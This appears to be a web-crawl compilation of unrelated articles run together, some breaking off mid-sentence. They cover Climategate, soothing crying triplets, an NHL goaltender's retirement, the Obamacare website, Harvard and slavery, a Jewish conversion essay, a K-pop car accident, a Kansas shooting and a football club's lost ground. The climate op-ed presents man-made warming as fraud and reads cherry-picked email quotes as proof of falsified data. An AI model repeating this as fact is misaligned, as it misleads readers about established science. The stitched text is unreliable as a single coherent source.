It was several days before the bodies and some of the wreckage could be recovered. Further wreckage was recovered in April this year, including belly panels and helicopter fragments.
The Transport Accident Investigation Commission's inquiry was not expected to be completed before May 2017.
* A previous version of this story cited Alpine Adventures' website, which said it operated Kaikoura Helicopters. Kaikoura Helicopters owner Dave Armstrong says his company is not connected to Alpine Adventures or Scott's other operations.More nails for the coffin of man-made global warming
Global-warming skeptics spend much of their time knocking down the fatuous warmist claim that the science is settled. According to the warmists, this singular piece of settled science is attested to by hundreds or thousands of highly credentialed scientists. In truth, virtually the entire warmist edifice is built around a small, tightly knit coterie of persons (one hesitates to refer to folks with so little respect for the scientific method as scientists) willing to falsify data and manipulate findings; or, to put it bluntly, to lie in order to push a political agenda not supported by empirical evidence. This is what made the original release of the Climategate e-mails from the Climate Research Unit at the University of East Anglia so valuable. They clearly identified the politicized core of climate watchers who were driving the entire warmist agenda. Following in their footsteps are all the other scientists who built their own research on top of the fraudulent data produced by the warmist core.
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#ad#Last week over 5,000 new e-mails, already dubbed Climategate 2, were released. Anyone still desiring to contest the assertion that only a few persons controlled the entire warmist agenda will be brought up short by this note from one warmist protesting that his opinions were not getting the hearing they deserved: “It seems that a few people have a very strong say, and no matter how much talking goes on beforehand, the big decisions are made at the eleventh hour by a select core group.” Over the years this core group, led by Phil Jones at East Anglia and Michael Mann at Penn State, became so close that even those inclined toward more honest appraisals of the state of climate science were hesitant to rock the boat. As one warm-monger states: “I am not convinced that the ‘truth’ is always worth reaching if it is at the cost of damaged personal relationships.” Silly me, how many years have I wasted believing that the very point of science was to pursue the truth in the face of all obstacles. On the basis of this evidence the scientific method must be rewritten so as to state: “Science must be as objective as possible, unless it offends your friends.”
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Unfortunately, from the very beginning, the core group at the heart of Climategate had no interest in “scientific truth.” As one states: “The trick may be to decide on the main message and use that to guide what’s included and what is left out.” In other words, let’s decide on a conclusion and then use only evidence that proves that point, discarding everything else. One scientist who seems to have been slightly troubled by these methods wrote: “I also think the science is being manipulated to put a political spin on it, which for all our sakes might not be too clever in the long run.” In another note to Phil Jones, this same scientist complained: “Observations do not show rising temperatures throughout the tropical troposphere unless you accept one single study and approach and discount a wealth of others. This is just downright dangerous. We need to communicate the uncertainty and be honest.”
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Of course, nothing of the sort was done. As one e-mail states: “The figure you sent is very deceptive... there have been a number of dishonest presentations of model results by individual authors and by IPCC [the Intergovernmental Panel on Climate Change].” Too bad these so-called scientists felt they could tell the truth only to one another and not the public at large. Some of the other truths they shared only with one another are astounding. For instance, one writes: “I find myself in the strange position of being very skeptical of the quality of all present reconstructions, yet sounding like a pro greenhouse zealot here!” So, despite having no confidence in any of the models the IPCC was using in its reports, this scientist was ready to support the IPCC findings to the hilt. And why didn’t he believe the models? Easy: They were designed to tell the big lie. For example, when confronted with the problem that if all the data were included, the warming disappeared, Phil Jones turned to a novel method: He used only “[time] periods that showed warming.”
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At one point, Jones admits that the “basic problem is that all of the models are wrong.” Of course, there is a simple reason for this. When the models do not show what the warmists want them to show, they simply apply “some tuning.” One scientist was worried enough about this “tuning” to write that he “doubt[ed] the modeling world will be able to get away with this much longer.” In this case, “tuning” means changing the model until it tells you what you want it to. When it became impossible to torture the models any further without making their uselessness apparent to all, the warmists resorted to changing the data.
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The most efficient method of corrupting the models was to use data only from time periods when there was warming and discard others, as Jones admits to doing. This method helped one scientist reduce the cooling in the northern hemisphere between 1940 and 1970, so that he did not have to make up an excuse blaming it on sulphates, which could not be proven. Another complains that no matter how much he fiddles with the data, it is “very difficult to make the Medieval Warming Period go away.” Solving this problem in the modern era was much easier: The warmists merely changed the temperature readings for much of the 20th century and threw away the original data.
#page#Why? One e-mail clearly explains what was at stake: ”I can’t overstate the HUGE amount of political interest in the project as a message that the Government can give on climate change to help them tell their story. They want the story to be a very strong one and don’t want to be made to look foolish.” In other words, all the scientific lying was a result of scientists trying to give their political masters a major issue they could use to control people’s lives and justify wasting trillions of dollars. Success, as one warmist stated, rested on somehow convincing the public that “climate change is extremely complicated, BUT to accept the dominant view that people are affecting it, and that impacts produces risk that needs careful and urgent attention.” In other words, climate science is too complex for the simpleton voters, who must be made to believe that unless we wreck the global economy the planet will bake. As Michael Mann says in one e-mail: “the important thing is to make sure they’re losing the PR battle.” Moving even further away from their original calling as scientists, the warmists spend considerable time discussing the tactics of convincing the masses that global warming should be a major concern. For instance, one states: “Having established scale and urgency, the political challenge is then to turn this from an argument about the cost of cutting emissions — bad politics — to one about the value of a stable climate — much better politics.... the most valuable thing to do is to tell the story about abrupt change as vividly as possible.”
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#ad#To win the public debate nothing was out of bounds. For instance, Mann, incensed that some skeptics had trashed his work, wrote to Jones, saying he had “been talking with folks in the states about finding an investigative journalist to investigate and expose McIntyre... perhaps the same needs to be done with this Kennan guy... I believe that the only way to stop these people is by exposing them and discrediting them.” Steve McIntyre and Doug Kennan are well-known skeptics. In fact, McIntyre’s work was crucial in proving that Mann’s infamous “hockey stick graph” — the heart of the United Nations’ IPCC-3 report — was a fraud. Rather than contest McIntyre’s findings with evidence and data, Mann decided that his best alternative was to smear his challenger’s reputation. Skeptics always had to be on the watch for Mann’s spiteful attacks. But what is interesting is that many of his fellow warmists had a low opinion of his work. Despite this, they were slow to criticize Mann — partly because they did not want to give the skeptics any more ammunition, but also because they were afraid of him. As one warmist wrote to Jones, Mann was a “serious enemy” and “vindictive.”
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Worried that their e-mail discussions might turn a spotlight on their fraud, Jones and others were constantly advising one another on how to hide the evidence. For instance, Jones once sent out an e-mail stating: “I’ve been told that IPCC is above national FOI [Freedom of Information] Acts. One way to cover yourself and all those working in AR5 would be to delete all emails at the end of the process.” To which one warmist replied: “Phil, thanks for your thoughts — guarantee there will be no dirty laundry in the open.”
Still, none of this deception would be possible without the active collusion of much of the global press, which has swallowed the warmist agenda hook, line, and sinker. As one BBC journalist wrote to Phil Jones after running a piece slightly skeptical of the warmist position:
I can well understand your unhappiness at our running the other piece. But we are constantly being savaged by the loonies for not giving them any coverage at all, especially as you say with the COP [Conference of the Parties to the Kyoto Protocol] in the offing, and being the objective impartial (ho ho) BBC that we are, there is an expectation in some quarters that we will every now and then let them say something. I hope though that the weight of our coverage makes it clear that we think they are talking through their hats.
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What is even more troubling is what appears to be the active collusion of government agencies charged with looking out for the public welfare. In one Jones e-mail, he discusses hiding data, making it clear that the U.S. Department of Energy was an active participant in his fraud: “Any work we have done in the past is done on the back of the research grants we get — and has to be well hidden. I’ve discussed this with the main funder (US Dept of Energy) in the past and they are happy about not releasing |
all babies go through in some degree or another and like me, there are some that really do test their parents patience. My brother was three when I was born and he said to my mother ‘ Can we put Helen in the dustbin please mummy, I don’t want a sister anymore’! The cheek!
Pattern of Inconsolable Crying
This is the sort of pattern you will see in your 8 week old -3 month old baby. It is not so common in babies older than this age and if your babies are still unsettled over the age of 6 months, I would suggest seeking further advice from your healthcare professional.
Baby can cry for 5 or more hours a day and still be perfectly well and normal.
Starts getting worse in later afternoon, early evening over several weeks.
No evidence of illness.
High pitched cry with back arching
Nothing will comfort them – unsoothable.
The crying starts and stops for no apparent reason.
Unrelated to anything you do.
Coping with Inconsolable Crying
If you are anxious about the level of crying in your twins or triplets, the first suggestion I would make to settle your mind that there is no organic cause for their crying is to see your general practitioner, paediatrician or healthcare professional to get advice and rule out any treatable cause. There are some tests that they can perform to determine whether there is a cause for the crying. Be sure to tell them if there are any symptoms such as diarrhoea or fever or weightloss.
Once you have ruled out any organic cause, the next stage is to set about minimising the crying to a level you can cope with, so you can get some sleep to manage with it through the weeks until it subsides, which it most definitely will. We are talking of a window of time roughly from 8 to 16 weeks approximately when this crying is at its worst. Frustratingly it usually happens late afternoon/evening/nighttime, just when you’re at your lowest ebb, tired, hungry, wishing for some peace and quiet! So a few strategies for coping!
Try singing or put on some soothing music such as lullabies, something that is calming and they can focus on. I always used music when I was putting my babies to sleep. The music would play for around an hour but it was part of their bedtime routine. Im not sure in the beginning that it helped but it was certainly more soothing for me than three babies screaming! Take them for a drive. The repetitive motion of the car can have a soothing effect and help to ease the constant crying. It is a thought if you get desperate but the idea of driving around every night because they’re howling, is not something we decided to try. Put them in their stroller and go for a walk. Again the rocking motion of the stroller will soothe. I adapted this. I would stand in the doorway of my sitting room and hallway, pushing the pram over the doorway edge, this rocked them backwards and forwards. I spent every evening doing this, for several weeks. Once they were rocked asleep and not crying, they were parked by the radiator in the hallway, lights out and they would sleep there until their feed at midnight. It worked for me, we got some quiet time and gave me chance to be calm. Try swaddling – as previously discussed, following the guidelines for this. It will give them the security and comfort. Sucking a dummy. As we discussed earlier, it is soothing and anything that will reduce the crying is worth a try. If things are getting really bad, try and get some help at this time of day, someone else to come and rock your babies to give you a break. It is all very tiring with triplets and even if you can’t get a nap, to have another person there taking over even for a short time will give you a break from the noise.
Routine
Something that I felt was particularly helpful to me with my triplets was a bedtime routine. Even when they were very small, we would go through the same routine and again this is very comforting for babies, a predictability to events that they get used to and seek solace in those routines. Whether it reduced the length of time they cried, I will never know but we got through it by following the steps above and having a routine.
The bedtime routine started around 5pm. I would get back from the afternoon walk around the park, and they would play on their baby mat for a little while. They would be undressed so they could kick around with their chubby legs for a few minutes. I would then take them upstairs where they would have a bath. I had a changing station that had an integrated bath. Whilst I was washing one, the other two would be in their cots, usually crying but with music playing it wasn’t so bad. They weren’t really dirty enough to need a bath every night, but this was part of the calming down routine, warm water and lavender baby wash. I would then get each dressed in their night clothes and downstairs for their final feed. Generally I had a helper to feed one. They would be fed, winded, and then lightly swaddled, then put into the stroller. I would then rock them back and forth over the doorway until they fell asleep. This was quite successful and over a period of a week, we started to notice that we would have a quiet evening. We did struggle with the settling after the 4am feed for a longer period of time but we stuck to the routine and as they got older it paid off, they were much easier to settle once we got to the 16 week – 20 week age.
It is tough to see a light at the end of the tunnel but it will all come to an end and you will survive it.
Am I The Reason My Babies Won’t Stop Crying?
Your babies will react to your moods. If you are speaking harshly to them because you are exhausted, resentful that they are not sleeping and crying all the time, they are likely to be more unsettled. To try and cope with this without support is going to be tough. Remember that it could well be that they’re not crying any more than a single baby would but you have two or three babies to cope with. All is not lost. Do not be hard on yourself, it is natural that you will be feeling overwhelmed, neglected and possibly isolated too. I did, but I still nurtured a loving relationship with my triplets despite my exhaustion, it took time, but we were in it for the long haul!
What to Do When Crying Gets Too Much
Crying is part of life when you have a baby. This is particularly hard when you have two or three babies to care for. The crying can be overwhelming. It is extremely difficult to cope with it, especially if you are feeling totally shattered, sleep deprived, and utterly miserable. At this point I can fully understand that parents get to the end of their tether.
You must learn to recognise your limit and this is the point where you must walk away. Make sure your babies are safe and walk away for a few minutes. Go outside, get some fresh air, go have a cup of tea for a few minutes, do something, anything but remove yourself from the nursery. Take some deep breaths and slow your heart rate and calm right down.
I am absolutely not suggesting you would harm your babies, but there could be a point where you have simply been pushed over the edge. Shaken Baby Syndrome is a real risk at times like this, its not something you mean to do but you have been pushed too far, no one will fault you for walking away for a few minutes. Its takes strength to recognise that you are on the brink of losing it, so take yourself out of the situation. Do not for one second feel guilty, every mother goes through this, I did, I would go stand outside and scream REALLY LOUDLY! I gave myself laryngitis once by doing this! But I did feel better. Be reassured that you are not alone, but you can cope with this. It gives you chance to realise how close you might have come to losing your patience, you can reset and start again without anyone being worse for it.
This phase of unconsolable crying is time limited, so be reassured that if you can keep it together and work through it, in a few weeks your babies will settle down more and the crying will start to lessen. You do NOT need to be perfect, parenting is not about being perfect!
Shaken Baby Syndrome
I am not talking about this to scare you, but to give you the facts about Shaken Baby Syndrome.
Shaken Baby Syndrome is as it sounds – when a baby is physically shaken by a parent or caregiver. It bursts the delicate blood vessels in the baby’s brain. Each year nearly 1,000 babies die from shaken baby syndrome.
Shaken Baby Syndrome can lead to brain damage, mental retardation, seizures, blindness and death.
When a parent or caregiver becomes frustrated/angry that they are not able to stop their babies from crying. This is usually loss of control due to severe sleep deprivation in most cases.
Panorama on BBC television this evening (Monday March 15 2016) showed a programme about this very subject, it is well worth watching. Click on the link above to be taken directly to the station to watch.
Getting Support
Its tough at times when you hear other mothers talking about their babies and how easy they are, that they sleep all night, they are content and don’t cry. It used to depress me listening to how perfect their newborn baby was and I had three that were anything but perfect. Give yourself a break! Mothers over exaggerate when it comes to their offspring. But you must not compare, every baby is different, even within your twin or triplet set, they each will have their own characters and its unfair to yourself to think your babies are not as good as someone elses.
All this will create negative feelings, especially when youre tired and not thinking straight. At one point when my triplets were 4 months old, I went to see the optician because my eyesight was blurry and I thought I needed to change my contact lenses. There was nothing wrong with my eyes, or contact lenses, it was simply the tiredness I was experiencing!
If you need help, someone to talk to when it just gets too much and you are worried that you might harm your babies there are professionals that you can call. I have put the numbers below for the USA and UK. You will not be judged by calling and wanting help, they are there to support you whilst you go through the peak crying period of time with your babies. They may also be able to put you in contact with professionals or support groups in your local area that might be able to help. I lived in London when my babies were born and my local council sent me a home help for 3 hours a day for the first year of their life. She would come in a morning and do all the practical things like washing, cleaning, changing their beds, making up the feeds for the day. I loved Maidie, she was a mother herself and it was reassuring having her there.
So dry your eyes, take a deep breath, this is such a short period of time to cope with, it will end, and you will get your life back in order in a few weeks when theyre not crying so much and you can get some more sleep. I will be doing an article about sleep training soon!
In the U.S.:
24-Hour Parent Helpline: 1-888-435-7553
Crying Baby Hotline: 1-866-243-2229
Fussy Baby Warmline: 1-888-431-BABY
In the UK:
Parentline: 0808 800 2222
Parent Lifeline: 0114 272 6575SAN JOSE -- Goaltender Evgeni Nabokov's NHL career ended Wednesday where it began 15 years ago with the San Jose Sharks.
With his family and former Sharks teammates and coaches looking on, an emotional Nabokov announced his retirement from the League during a press conference at SAP Center.
"I thought I was going to have no problem talking, but I think I will," Nabokov said, fighting back tears.
The Sharks selected Nabokov in the ninth round (No. 219) of the 1994 NHL Draft out of Kazakhstan. He went on to play 10 seasons for San Jose, setting almost every major goaltending record in Sharks history.
Nabokov has the most wins (293) and shutouts (50), and played more games (563) than any other Sharks goaltender.
"The only thing that's missing is a Stanley Cup," Nabokov said. "I think the management is doing everything they possibly can. It was up to us as players to win it. We failed. Hopefully one day we can celebrate."
As a rookie in 2000-01, Nabokov won the Calder Memorial Trophy. He made the NHL All-Star team in 2001 and 2008, and was a Vezina Trophy finalist in 2008 after going 46-21-8.
With Nabokov in goal, the Sharks reached the Western Conference Final for the first time in 2004. They lost in six games to the Calgary Flames, coming as close as they ever have to reaching the Stanley Cup Final. Nabokov again helped the Sharks to the conference final in 2010, that time getting swept by the Chicago Blackhawks.
"It means a lot that this circle is coming to an end and I'm happy I will retire as a Shark," Nabokov said.
After playing for the Sharks, Nabokov played one season for St. Petersburg of the Kontinental Hockey League and three for the New York Islanders before signing with the Tampa Bay Lightning in the offseason. The Lightning put him on waivers on Feb. 1. After he cleared, Nabokov declined to go to the American Hockey League and hinted strongly that he would retire.
When Sharks general manager Doug Wilson heard that, he contacted Lightning general manager Steve Yzerman.
"I called Steve and said, 'If he's going to retire, please let me know. I'd like to get permission to talk to his agent, and let's do it this way,'" Wilson said.
The Sharks acquired Nabokov on Monday for future considerations so he could retire as a Shark and make the announcement in San Jose, where he lives.
"This was all Doug's idea," Nabokov said. "When Steve called me and Doug called me, obviously I was very thrilled and I was very excited to do that. At first I thought, 'Maybe he could play me,' and then I went, 'OK, reality check.' Yeah. It's all Doug and the Sharks organization. It's a first-class organization and they prove it."
Sharks defenseman Scott Hannan remembers Nabokov for his passion and supreme confidence on the ice, especially in big games.
"It was kind of cool," Hannan said. "Every time you'd see him make a big save, the calmness, the smirk, the wink. He always had that confidence about him. He had some big games. He was a great goaltender for many years when I played here and after."
Nabokov thanked all of his former NHL coaches, including Darryl Sutter, Ron Wilson and Todd McLellan at San Jose, and his Sharks goaltender coaches, Wayne Thomas and the late Warren Strelow.
"The relationship [Nabokov] and Warren formed was very special," Thomas said. "They formed a bond that was incredible."
Thomas credited Nabokov for challenging everyone, from his teammates to his coaches and even the trainers, to improve.
"He's an intelligent guy," Thomas said. "Loads of talent. Great competitor. He wasn't afraid to challenge the rest of us to get better. That's why we won."
Nabokov finished his career with 353 victories, 18th in NHL history. He ranks 17th in shutouts (59) and 25th in games played by a goaltender (697). He has 42 Stanley Cup Playoff victories, 22nd all-time.
Nabokov said he has no immediate plans, other than to spend time with his wife and two children, but he hinted that coaching might be in his future and he would look at the opportunity if one developed with the Sharks.
"Hockey is all I know," Nabokov said.President Barack Obama’s deputies are claiming they have successfully reincarnated the Obamacare network’s website.
“Twenty-four hours a day, we have rapid effectives response to any problems the instant they appear,” Jeff Zients, a top Obama advisor, told reporters during a Sunday morning press conference. “The site is now stable and operating at its intended capacity.”
But the stage-managed focus on the website drags the media’s attention away from the actual impact of Obamacare. So far, Obama’s centrally-planned healthcare system has cancelled insurance policies needed by at least 4 million Americans, and is imposing heavy health-care taxes on many Americans, companies, unions and hospitals.
The claims of technical success are also questionable.
Zients declined to answer some awkward questions during the Sunday morning press conference. For example, he declined to compare the website’s error rate to the error rate of commercial websites, such as Amazon.com.
Julie Bataille, a spokeswoman for the Centers for Medicare and Medicaid Services, declined to say they have met the administration’s November goal of allowing four out of five visitors to enroll on the site. “We’re more in the zone of about 80 percent,” she said, for people “with information in hand.” That measure excludes people who have not gathered the personal data demanded by the website, such as income estimates and tax records, she said.
Zients didn’t mention growing concern about the danger that hackers could steal Americans’ private data as it is processed by the Obamacare website, and he downplayed managers’ failure to develop vital software that links website transactions to the databases and billing systems operated by health insurance companies.
He also downplayed his central role in the rejuvenation effort, fueling expectations that he will leave in January. Prior to October, Obama announced Zients would become the director of the National Economic Council in January. “My head is down. I’m focused on the project 24/7,” Zients told reporters.
The officials also declined to identity the website as the “Obamacare” website, reflecting the administration’s post-October effort to distance the president’s name from the unpopular system.
The failed website is proving to be a PR, political and technical headache for Obama, who had hoped prior to October that he could enroll at least 7 million people into his network by March.
Several million Americans whose policies have been cancelled must enroll during the next 23 days, or else begin 2014 without insurance. (RELATED: Health insurance cancellation notices soar above Obamacare enrollment rates)
The system enrolled only 27,000 people in commercial health-plans during October, partly because of the failed website, but also because of the network’s high prices.
The new enrollees are also skewing older and sicker than needed, according to leaks from industry officials and to statements from state officials. That’s problematic, because prices will spike again for Obamacare’s customers in late 2014 if too few young people refuse to join the Obamacare network, despite the threat of large federal fines.
Obama’s effort to redesign the nation’s healthcare system has prompted a backlash from many influential middle class voters, driving his approval ratings down from roughly 50 percent to 40 percent, and threatening many Democratic legislators with defeat in the 2014 midterm elections. (RELATED: Obama schedules five fundraisers on West Coast as approval rate plummets)
The administration’s claims of success were showcased in a Dec. 1 report, titled “Healthcare.gov Progress and Performance Report.”
The graphics-filled report claims that software experts have repaired 400 software glitches, added much increased processing capacity, and have enabled visitors to click through to their next webpage after less than one second, compared to an eight-second delay in early October.
The website is operational 90 percent of the day, compared to 42 percent in early November, the report states. But that’s far below the operational rate at commercial sites.
Users spend an average 25 minutes per visit, allowing 50,000 people to use the site simultaneously, claims the report.
“We believe we have met the goal of having a system that will work smoothly for the vast majority of users,” the report concludes.
That vague goal was set in November, when Obama’s deputies ramped up their technical repair efforts and their PR campaign.
In recent days, officials have have arranged closed briefings for favored reporters and industry experts, and showcased their command center at an office building in northern Virginia. (RELATED: White House holds Obamacare background briefing with liberal reporters)
They’ve also deployed new P.R. phrases and terms during the last few weeks. “The language that we have used to describe the circumstance that we’re expecting is that the website will be functioning smoothly for the vast majority of users,” Josh Earnest, the president’s deputy press secretary said Nov. 21.
To help the website’s rejuvenation efforts, Obama has postponed once-critical functions, such as the creation of an enrollment capacity for the small-scale employers, and a Spanish-language website intended to enroll Democratic-leaning Latino voters.
Prior to October, Obama dropped enforcement of large section of the 2010 Obamacare law, including a requirement that large private-sector employers buy Obamacare compliant healthcare plans for their employees before 2014.
His deputies are also showcasing isolated individuals who gain from the Obamacare system, which imposes heavy and hidden taxes on middle-income and younger people to subsidize insurance for Democratic-leaning constituencies, including poor people, Latinos and African Americans.
Follow Neil on TwitterHarvard University was “directly complicit in America’s system of racial bondage” and should do more to acknowledge its ties to slavery, president Drew Faust said Wednesday in a forthright opinion piece in the student newspaper that sparked mixed reactions on campus.
Faust announced that next month, the university will unveil a plaque at Wadsworth House — the former home of Harvard presidents — in memory of four slaves who lived and worked in the building.
“Although we embrace and regularly celebrate the storied traditions of our nearly 400 year history, slavery is an aspect of Harvard’s past that has rarely been acknowledged or invoked,” Faust wrote.
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Faust, a historian of the American South and the Civil War, raised the issue as Harvard and other universities grapple with symbols of their history, histories that are often intertwined with slavery.
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Earlier this month, Harvard Law School moved to change its shield, which uses elements of a former slaveholding family’s coat of arms.
Harvard has also dropped the term “house masters” when referring to those who supervise some undergraduate residence buildings and will instead call them “faculty deans.”
In her letter, Faust also announced that in March 2017, the university’s Radcliffe Institute plans to host a major conference on universities and slavery.
“The importance of slavery in early New England was long ignored even by historians, and the presence and contributions of people of African descent at Harvard have remained a largely untold story,” Faust wrote.
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The institution was complicit even after slavery ended in Massachusetts in 1783, she wrote, and “Harvard continued to be indirectly involved through extensive financial and other ties to the slave South up to the time of emancipation.’’
Harvard professors and students praised Faust’s announcement but some said the university should do more to concede its history.
“It’s a shame that it had to take this long,” said William Greenlaw, a junior from Indiana who is black. “That said, I think it’s very good that we’re acknowledging that.”
Senior Sarah Cole said a plaque is an insufficient recognition of slaves’ sacrifices, and that it should not be hung in the place they were enslaved.
“It seems so inadequate to recognize people who were forced to sacrifice their lives” said Cole, a black student from Kansas City.
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Cole said a more fitting tribute would be to change the names of buildings that are named for those who owned slaves or participated in the slave industry, though she did not know which buildings. She also suggested starting a fund for descendents of slaves.
Several professors, alumni, and historians applauded Faust’s letter as bold.
Lawrence Bobo, chairman of Harvard’s African and African American Studies Department, praised Faust’s commitment to hold talks about slavery.
“The burdens of a slave past are an inescapable part of the American experience, at Harvard too. Concrete and honest recognition of that past is a necessary ingredient to real healing,” Bobo said in an e-mail.
“It’s a huge tribute to these really dogged efforts by students and faculty on campuses all over to contest the stories that we tell ourselves about who we are,” said Francie Latour, a Harvard graduate and former Globe staff writer and Boston-based writer who has researched slavery in New England.
Linda Heywood, a professor of African history at Boston University, said two slave names mentioned in the op-ed, Bilhah and Juba, are Muslim, a fact she hopes won’t be overlooked.
“There was a long presence of Muslims even in the very center of where America began its independence,” Heywood said. “We don’t have to declare all Muslims to be our enemies. We brought Muslims here as children, as families.”
Similar explorations of college history are unfolding on campuses across the country.
Students at Yale University raised concerns about Calhoun College, one of 12 residential colleges and named for John C. Calhoun, a Yale valedictorian and former vice president from South Carolina who was a prominent slave owner and a white supremacist. The university has not decided whether to change the name.
Amherst College recently dropped its unofficial mascott, Lord Jeff, because historians say his namesake, Lord Jeffery Amherst, a British commander during the French and Indian War, supported giving blankets laced with the smallpox virus to Indians to advance the goal of wiping them out.
Eric Foner, a history professor at Columbia University who studies slavery, said Columbia has undertaken a similar project to investigate the role of slavery in its past. Slavery existed in all the Colonies before the American Revolution and even after its abolition in the North, many northerners profited from dealing in the products of southern slave labor, he said in an e-mail.
“Too often, people in the North think of slavery as a southern institution.” he said in an e-mail.
Craig Steven Wilder, a history professor at MIT, said he hopes Faust’s words will spur even more colleges to explore their pasts.
“We have an obligation to acknowledge these persons and our debts,” Wilder said. “The story of education in New England is a part of the history of slavery.”
Faust’s letter was noticed outside of academia, as well, including by Marita Rivero, executive director of the Museum of African American History in Boston.
“Everyone is enriched when we tell the whole American story,” Rivero said. “We allow people to see themselves and one another in our full dimension.”
Laura Krantz can be reached at laura.krantz@globe.com. Follow her on Twitter @laurakrantzWhen I was a child and refused to go to Shul, it was my mother who dragged me out of bed. She taught me the laws of Shabbat, to separate challah, how to keep a kosher home. My mother did not convert for my father, she liked to remind us. The first time, she converted for herself. The second time, she converted for me.
It began when she was pregnant and looking for a Mohel to perform my bris (circumcision). I turned out to be a girl, but my parents never learned their children's genders in advance. They had recently moved to a Conservative synagogue, so my mother approached the rabbi there. He asked her about her first conversion through the Reform movement, and after learning about the details, he encouraged her to convert again. My mother felt hurt that her choice to follow Judaism for nearly eight years was not recognized. However, she converted a second time through the Conservative movement, so that I would live my life free from doubt.
Doubt found me anyway, introducing himself at my university's Hillel as I discussed conversion with a friend. My mother converted, I said proudly. My friend's eyebrows raised. "Through what movement?" She asked. I did not know. The atmosphere changed. "You should find out," she said. I did, and reported back. She was the first to tell me that I might not be Jewish.
The Orthodox movement requires three male, Jewish witnesses who observe halachah (traditional Jewish law) to validate a conversion. Given the differences in observance across different Jewish movements, many Orthodox leaders consider the witnesses in a Conservative conversion to be problematic. Having been raised Orthodox after my family moved to West Virginia, I can understand why they might feel this way. Even so, I cannot describe the pain I felt that day. It was like being deeply in love for 18 years, only to learn suddenly that the relationship was "maybe" over.
During college, my peers gave me their version of the rules of my new life as a Saphek, someone whose Jewish identity is in doubt. I should keep kashrut (dietary laws), but I should not keep Shabbat, since it is a special gift from God to the Jewish people. I should not date a gentile; I must not date a Jew. I should not recite kiddush and motzi (blessings over wine and bread) at Shabbat dinner, even in a pluralistic environment, lest others mistake me for a Jew and leave their own blessings unfulfilled by saying "Amen" to mine. As a woman, my situation is uniquely problematic, since the Orthodox movement considers Jewish identity to pass through the mother. Treating me as a Jew would allow me to marry a Jewish man and to bear him potentially non-Jewish children. The issue is always discussed in this way: in terms of what damage I might cause the Jewish community if I am not a Jew. The possibility that the Jewish community might be harming me, preventing me from living as a Jew if indeed I am one, does not seem to be of concern.
As a college student, my community has caused me an enormous amount of harm. Well-meaning friends advise me to "just convert," with no comprehension of the feeling of having your Jewish roots pulled out from under you. The treatment by my somewhat-learned peers has practical ramifications as well. For the past year, I have ceased attending Friday night dinners at my Hillel to avoid the embarrassment of declining to lead kiddush and motzi and having to explain why. Some Jewish friends who learn of my religious status have asked me to carry things for them on Shabbat, an action that for me is more undoable than unthinkable. In all of these cases, my peers did not consult a rabbinic authority beforehand, making split-second decisions that distanced me from my faith and caused deep, lasting grief.Following their unfortunate car accident on the morning of December 11th, SECRET has announced that they will be canceling all promotional activities until the year-end ceremonies.
TS Entertainment revealed that the girls will be on hiatus until the 27th to give them time for ample rest until the '2012 KBS Gayo Festival' on the 28th.
Having made their "Talk That" comeback, things were looking up for the girls in terms of digital chart placement and the ecstatic response from fans. Their round of comebacks on the weekly music programs only amplified the excitement for their return.
Unfortunately, the excitement was short lived, as the girls suffered a car accident while driving down an icy road, which resulted in the car slipping off road and flipping over. Hyosung, Jieun, and Sunhwa were able to be discharged from the hospital for minor injuries while Zinger is still hospitalized due to some more severe injuries involving a crack on her rib cage and bruising on her lungs.
TS Entertainment stated, "Doctors said that Zinger's rib cage crack will fully heal in about two to three weeks. Hyosung is wearing a cast for her injured knee but we suspect that it will fully heal in time for the KBS festival. For now, we are working around the girls' first comeback schedule being the KBS Gayo Festival."
Industry representatives are also expressing their concerns for the girls, stating, "We're all glad that the members weren't gravely hurt. We're sure that there isn't anybody more disappointed with this accident than the girls themselves. They've made a successful transformation with 'Talk That', which was obviously the result of strenuous days of practice and work. We hope that all of them will recover fast and show us another great stage again."
Fans also left supportive comments like, "We pray for the fast recovery of SECRET" and "We hope that Zinger is okay".
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LENEXA, Kan. -- A Lenexa, Kan., man with a conceal-carry permit has been charged with the accidental shooting of his wife at the Longbranch Steakhouse restaurant in January. Sixty-six-year-old William H. Mize Jr., faces a misdemeanor count of carry concealed weapon under the influence of alcohol and a felony for aggravated battery.
The couple was having dinner when, police say, the husband discharged a small caliber handgun he was carrying in his front pocket. The bullet hit his wife in her left leg just above the knee cap. The wife was treated and released from Overland Park Regional Medical Center.
Loren Stanton is chairman of the Gun Violence Prevention Project in Johnson County. He says Johnson County prosecutors made the right decision to charge Mize.
"When things like this happen, examples should be made. We've got over 50,000 people with conceal carry permits in Kansas. You know all 50,000 of those people aren't as careful and cautious and law abiding as we would like to think they are."
Becky Bieker owns the Shawnee gun store "She's a Pistol." She has a conceal carry permit but says people who misuse firearms should be charged.
"He was reckless by drinking and carrying a firearm, just as any person would be, same as any driver that gets behind the wheel with alcohol in their system," she said.
Investigators won't say what Mize's blood alcohol level was but it had to be at least a.08 for him to be charged with the misdemeanor count.From mid-Cheshire, home to historic football clubs and chemical-industry giants, comes a tale of heartbreak and wandering, with just a glimmer of far-off redemption. For 127 years the evocatively named Northwich Victoria owned, played at and were justly famous for one of the world's oldest football grounds, the fabled Drill Field, yet now Vics, of all clubs, find themselves homeless.
The club have been evicted by a neighbouring chemical company, Thor, bringing a cruel full-stop to a decade of calamity. In 2002, previous Vics directors sold their greatest, defining asset, the Drill Field, for housing, and for ambition to build a new stadium on an industrial estate. Had the world been different the Drill Field would have been protected, for Northwich and future football generations, but the Conference, itself pumped up with professional ambitions, was insisting all its member clubs have 6,000 ground capacities, able to be enlarged to 10,000.
Near-tragically, as it turned out, the Conference reduced that rule to a more reasonable 4,000-capacity requirement just after Vics made their decision, so it could have been saved, but the directors decided to plough on anyway.
Formed in 1874, founder members of the Football League Second Division in 1892 when Billy Meredith, later of Manchester City and United, turned out for them, senior non-league competitors throughout the 20th century, Northwich Victoria sold the Drill Field to Bryant Homes, which dug it up and demolished it for 102 new houses.
The old board began to build the Victoria Stadium on the Wincham business park at the edge of town, with the hope that the bar and restaurant which they planned would make them money to climb the football ladder. Northwich, the town, club and fans, always seemed a non-league stalwart, not an out-of-town bar-and-restaurant sort of place, and the move was blighted from the start.
In early 2004 the money from selling the Drill Field proved not to be enough to complete the new stadium, and the club collapsed into administration. A Manchester nightclub owner, Mike Connett, bought the Vics and the new ground from the administrator, and oversaw its completion, with the bar and restaurant.
For a time it seemed as if Northwich's directors' vision of a better future could be realised at Victoria Stadium; in their first season, 2006-07, the team won promotion to the Conference Premier and reached an FA Cup third-round tie at Sunderland's Stadium of Light. But the financial hangover hit the following October and with the club at risk of falling into administration again, Connett kept the ground, and sold the club to a Manchester go-cart-track owner and property investor, Jim Rushe.
